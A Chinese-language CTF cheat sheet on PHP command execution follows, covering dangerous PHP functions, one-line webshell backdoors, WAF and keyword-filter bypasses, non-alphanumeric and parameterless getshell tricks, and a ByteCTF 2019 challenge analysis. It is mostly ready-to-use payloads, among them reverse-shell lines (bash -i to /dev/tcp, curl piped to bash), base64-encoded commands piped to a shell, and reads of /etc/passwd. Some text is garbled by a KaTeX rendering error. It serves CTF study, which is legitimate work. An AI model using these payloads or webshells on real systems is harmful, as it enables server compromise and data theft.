PHP命令执行
主要函数
代码执行函数
${}
php复杂变量
<?php ${phpinfo()};
{KaTeX parse error: Expected 'EOF', got '}' at position 12: {getname()}}̲ => {s1ye} =>echo "s1ye";
,可以发现先执行了getname函数并输出了“s1ye”,接着才执行了echo(优先级)。
$str = "{${phpinfo()}}"
,花括号定义了变量的边界,因此该条语句先执行括号中内容,获取函数返回值,并以返回值的string命名变量再赋值给str变量(同上面分析的test函数一样)
assert()
<?php assert($_POST['a']);
php<7.0.29可以动态调用
<?php $a='assert'; $a($_POST['a']);
preg_replace()
/e 模式可以执行任意代码,这个函数基本上已经很少使用。
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');
eval()
eval('echo 222;');
可以执行多条语句,利用分号隔开。
create_function()
创建匿名函数
$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();
call_user_func()
call_user_func('assert', $_REQUEST['pass']);
array_filter()
回调函数
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array_map()
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
usort()/uasort()
php>5.6
一般在php变长函数特性中利用到。
命令执行函数
system()
system('ls');
passthru()
passthru('whoami');
exec()
exec('whoami');
没有回显,需要输出。
shell_exec()
shell_exec('ls');
没有回显,需要输出。
proc_open
<?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
`(反引号)
echo `ls`;
popen()
没有回显,但是能够执行命令。
<?php
if(isset($_GET['cmd'])){
popen($_GET['cmd'],'r');
}
?>
ob_start()
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
代码利用方式
1.直接执行
函数基本没有进行过滤,或者是需要在eval()
函数中在添加一个eval()/system()/exec()
函数。
2.拼接绕过/动态调用
利用函调函数assert()
例如($_GET['a'])($_GET['b']);
PHP7可以利用('')('')
的方式执行命令('system')('ls')
利用绕过
('sys'.'tem')('ls')
implode(['sys','tem'])('dir');
或者是利用 或运算
array('a'=>'systam'|'systdm')['a']('ls');
3.回调后门
1.传递一个参数
$_GET[1]
2.包含远程文件
默认远程文件包含是关闭的,所以这个方法不是很推荐使用。
include$_GET[1];
也可以是包含本地文件,通过这种方式放过waf
3.本地文件包含
param=$_GET[a](N,a,8);&a=file_put_contents
但是这个处理符号会报错,所以可以传入编码后的数据,最后利用
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
4.本地日志包含
利用web日志包含,包含tmp文件也可以,但是需要绝对路径。
5.php变长参数
usort
6.无字母数字GetShell
1.Linux 在shell 下 可以利用 .
执行任意脚本
2.Linux文件名可以使用通配符
绕过方式
命令分隔符
linux: %0a 、 %0d 、 | 、;、&
空格绕过
< <> %20%09 $IFS$9 //$9是shell进程的第9个参数持有者,始终为字符串 ${IFS}$IFS等
Linux中 I F S 是 分 隔 符 , 但 是 拼 接 上 其 他 字 符 就 表 示 成 一 个 变 量 名 字 。 例 如 : IFS是分隔符,但是拼接上其他字符就表示成一个变量名字。例如: IFS是分隔符,但是拼接上其他字符就表示成一个变量名字。例如:IFSf 。通常需要用大括号来区分开。
关键字过滤
拼接绕过:a=g;cat fla$g.php编码绕过:`echo "Y2F0IC9mbGFn"|base64 -d` 、echo "Y2F0IC9mbGFn"|base64 -d|bash单引号或双引号、反引号间隔:ca""t fl''ag 、cat fl'a'g、cat fla``g ...反斜杠:ca\t fl\ag利用未初始化变量:ca$@t fl$2ag(可以是数字或者是符号,否则会和后面的字母拼接)利用环境变量:${PATH} 截取出需要的字符
进阶写法
666`\whoami`666w`f1hgb`ho`f1hgb`am`f1hgb`i wh$(f1hgb)oa$(f1hgb)mi
利用进制绕过
16进制:$(printf "\x63\x61\x74...");8进制: $(printf "\x63\x61\x74...");
通配符
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2} | 匹配str1或者str2字符,也可以是集合 |
IFS | 由或或 |
CR | 由产生 |
! | 执行history中的命令 |
cat ???g.???cat *g*cat `ls`
system()绕过
system("cat /etc/passwd")<=>"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");<=>(sy.(st).em)("cat /etc/passwd");<=>还可以用注释方法绕过"system/*fthgb666*/("cat /etc/passwd);"<=>"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"<=>"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
DNSLOG
网页无回显时候可以利用
反弹Shell
curl ip:port/xxx.xx |bashxxx.xxbash -i >& /dev/tcp/ip/port 0>&1bash -i >& /dev/tcp/node3.buuoj.cn/2333 0>&1
bash -i
产生一个bash交互环境
>&
将前面和后面的内容结合,然后一起从定向给后面
/dev/tcp/ip/port
使得主机和目标主机产生一个tcp连接
0>&1
将标准输入输出内容结合,重定向给前面的标准的输出内容。
常用的payload
{cat,flag.php} cat${IFS}flag.phpcat$IFS$9flag.phpcat<flag.phpcat<>flag.phpkg=$'\x20flag.php'&&cat$kga=c;b=at;c=flag.php;$a$b $cb=ag;a=fl;cat$IFS$1$a$b.phpecho$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shecho$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bashecho$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
限制长度
无字母数字
<?phpif(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);}
方法1
利用异或 因为代码底层是用二进制来进行运算的,所以利用这个可以构造出其他的字符串。利用数字和字母进行异或可以构造出字母。
<?phpecho "5"^"Z";?>----output----o
方法二
利用取反,对一个汉字进行 ~($x{0})的操作,可以得到一个ASCII码的字符串。
因为一个字符串编码会变成3个16进制编码,利用$x{1}可以得到一个16进制编码
>>> print("卢".encode("utf8"))b'\xe5\x8d\xa2'
利用取反可以得到一个ASCII码
<?php$_="卢";print(~($_{1}));print(~"\x8d");
方法三
利用自增自减
因为在php中
“A++” ==>B
利用这个规则 ,我们只需要能够得到一个字母就能够构造出整个字母表。
php对于大小写不敏感,所以可以利用大写字母进行替换
无参数
无参数GetShell一般来说是payload不能有 a('x')
这种形式
1.localeconv()
获取一个 .
2.array_flip()/array_rand()
**array_rand():
**从数组中随机取出一个或者多个单元,并且返回一个或多个键。
**array_flip()/array_reverse:
**将数组中的键和值交换
array_rand(array_flip(scandir(pos(localeconv()))))
利用readfile()/show_source()/highlight_file
readfile(array_rand(array_flip(scandir(pos(localeconv())))))
flag{86d16ab2-d5bd-41a9-a10a-725d917ba4bf}
2.遍历目录
1.getcwd()
获取当前工作目录
2.scandir()
遍历当前目录下的所有文件
3.dirname()
返回上一级目录的名称
3.getallheaders()
**getallheaders():
**获取全部HTTP请求信息 (apache、nginx)可用
添加一个Header为c: phpinfo();
,根据位置选择合适的payload:
-
添加在Header在第一个:
payload:
code=eval(pos(getallheaders()));
(pos()可以换为current(). 如果在第二个可以使用next())
4.session_id()
获取/设置 当前会话ID.
通过cookie设置seesion,利用session_id()
读取利用。
eval(hex2bin(session_id(session_start())));
5.getenv()
php>7.1 获取超全局变量,利用array_rand()/array_flip()
遍历
6.get_defined_vars()
返回所有已经定义变量所构成的数组。
例题分析
Boring Code(ByteCTF 2019)
<?phpif ($_POST['code']){ $code = $_POST['code']; if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } }else{ echo "No No No"; }}?>
这一题有两个waf,我们单独拿出无参数的那部分分析。
一般来说先获取当前目录下的文件 。
readfile(end(scandir(pos(localecov()))));
1.因为文件可能不在当前的文件夹,所以可以利用if
。如果路径改变成功就读取文件。
if(chdir(next(scandir(pos(localecov())))) readfile(end(scandir(pos(localecov()))))
2.利用localtime()
配合chr()
在ASCII中.
的值为46,当时间为某一分钟的46秒时,payload可以成功构造。
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))));
其中chdir(next(scandir(pos(localeconv()))))
更换当前路径,scandir(chr(pos(localtime(time))))
列出更改路径后的当前目录结构。
总结:
这种问题的解决方法真的太多了,最主要就是获取一个 点 。这个 点 可以用ascii表示,所以只要有一个数字进行数学运算最后得到点就行。
preg_replace问题
一般来说 preg_replace 利用了 \e 模式 就会导致代码执行。
在特殊情况下第二个参数是**'strtolower("\\1")'
** 字符串,这个执行代码的方式就很平常的方式不同。
那么我们首先理解一下\1
对应的是什么匹配模式。
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以最后构造成的内容根据正则规则来判断,根据第一个匹配到的内容。
eval(strtolower("\\1"););
session.upload_progress
文件包含和反序列化渗透
当php>5.4中添加了一个新的功能session.upload_progress
php.ini中新增了几个默认选项
1. session.upload_progress.enabled = on2. session.upload_progress.cleanup = on3. session.upload_progress.prefix = "upload_progress_"4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"5. session.upload_progress.freq = "1%"6. session.upload_progress.min_freq = "1"
enabled=on
表示upload_progress
功能开始,也意味着当浏览器想服务器上床一个文件时,php会将此次文件上传的详细信息 记录在session中。
cleanup=on
表示当文件上传结束后,php将会清空对应session文件中的内容
prefix+name 表示为session中的键名